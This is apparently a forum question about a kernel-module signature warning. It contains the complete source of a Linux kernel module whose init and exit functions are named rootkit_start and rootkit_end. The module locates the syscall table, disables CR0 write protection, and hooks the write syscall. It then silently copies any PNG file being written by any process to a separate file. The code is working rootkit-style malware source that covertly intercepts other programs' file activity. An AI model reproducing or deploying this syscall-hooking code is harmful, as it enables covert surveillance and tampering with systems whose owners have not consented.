I made a kernel module and inserted it using sudo insmod syscall-hook.ko, but I got the following message.
syscall-hook: loading out-of-tree module taints kernel.
syscall-hook: module verification failed: signature and/or required key missing - tainting kernel
I refered to kvm: module verification failed: signature and/or required key missing - tainting kernel
and added configuration
CONFIG_MODULE_SIG = n
CONFIG_MODULE_SIG_ALL = n
in Makefile but nothing changed.
What I have to do to solve this problem?
/* syscall-hook.c */
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/namei.h>
#include <asm/current.h>
#include <asm/unistd.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#include <linux/delay.h>
#include <asm/paravirt.h>
#include <linux/slab.h>
MODULE_LICENSE( "GPL" );
unsigned long **sys_call_table;
asmlinkage int ( *original_write ) ( unsigned int, const char __user *, size_t );
asmlinkage int new_write( unsigned int fd, const char __user *buf, size_t count )
{
char signature[9];
char test[9] = {0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a};
if (count<8)
return ( *original_write )( fd, buf, count );
strncpy(signature, buf, 8);
signature[8] = '\0';
if (!strcmp(test, signature)) {
struct file *orig, *new;
struct fd f;
struct kstat orig_stat;
char *buffer, *path, *tmp;
size_t orig_size = 0;
mm_segment_t old_fs = get_fs();
set_fs (KERNEL_DS);
f = fdget(fd);
tmp = (char *)__get_free_page(GFP_TEMPORARY);
path = d_path(&f.file->f_path, tmp, PAGE_SIZE);
pr_info("file path: %s\n", path);
orig = filp_open(path, O_RDONLY, S_IRUSR);
vfs_fstat(fd, &orig_stat);
orig_size = orig_stat.size;
pr_info("orig_size: %zu\n", orig_size);
buffer = (char *)kmalloc(orig_size+1, GFP_KERNEL);
kernel_read(orig, orig->f_pos, buffer, orig_size);
new = filp_open("test.png", O_WRONLY|O_CREAT|O_TRUNC, S_IWUSR);
kernel_write(new, buffer, orig_size, new->f_pos);
vfs_fsync(new, 0);
kfree(buffer);
filp_close(orig, NULL);
filp_close(new, NULL);
set_fs (old_fs);
}
return ( *original_write )( fd, buf, count );
}
static unsigned long **aquire_sys_call_table( void )
{
unsigned long int offset = PAGE_OFFSET;
unsigned long **sct;
while (offset < ULLONG_MAX) {
sct = (unsigned long**)offset;
if (sct[ __NR_close ] == ( unsigned long * ) sys_close)
return sct;
offset += sizeof(void *);
}
return NULL;
}
static void disable_page_protection(void)
{
unsigned long value;
asm volatile("mov %%cr0, %0" : "=r" (value));
if (!(value & 0x00010000))
return;
asm volatile("mov %0, %%cr0" : : "r" (value & ~0x00010000));
}
static void enable_page_protection(void)
{
unsigned long value;
asm volatile("mov %%cr0, %0" : "=r" (value));
if (value & 0x00010000)
return;
asm volatile("mov %0, %%cr0" : : "r" (value | 0x00010000));
}
static int __init rootkit_start(void)
{
sys_call_table = aquire_sys_call_table();
disable_page_protection();
{
original_write = (void*)sys_call_table[__NR_write];
sys_call_table[__NR_write] = (unsigned long*)new_write;
}
enable_page_protection();
return 0;
}
static void __exit rootkit_end(void)
{
disable_page_protection();
sys_call_table[__NR_write] = (unsigned long *)original_write;
enable_page_protection();
}
module_init(rootkit_start);
module_exit(rootkit_end);
/* Makefile */
CONFIG_MODULE_SIG = n
CONFIG_MODULE_SIG_ALL = n
obj-m += syscall-hook.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean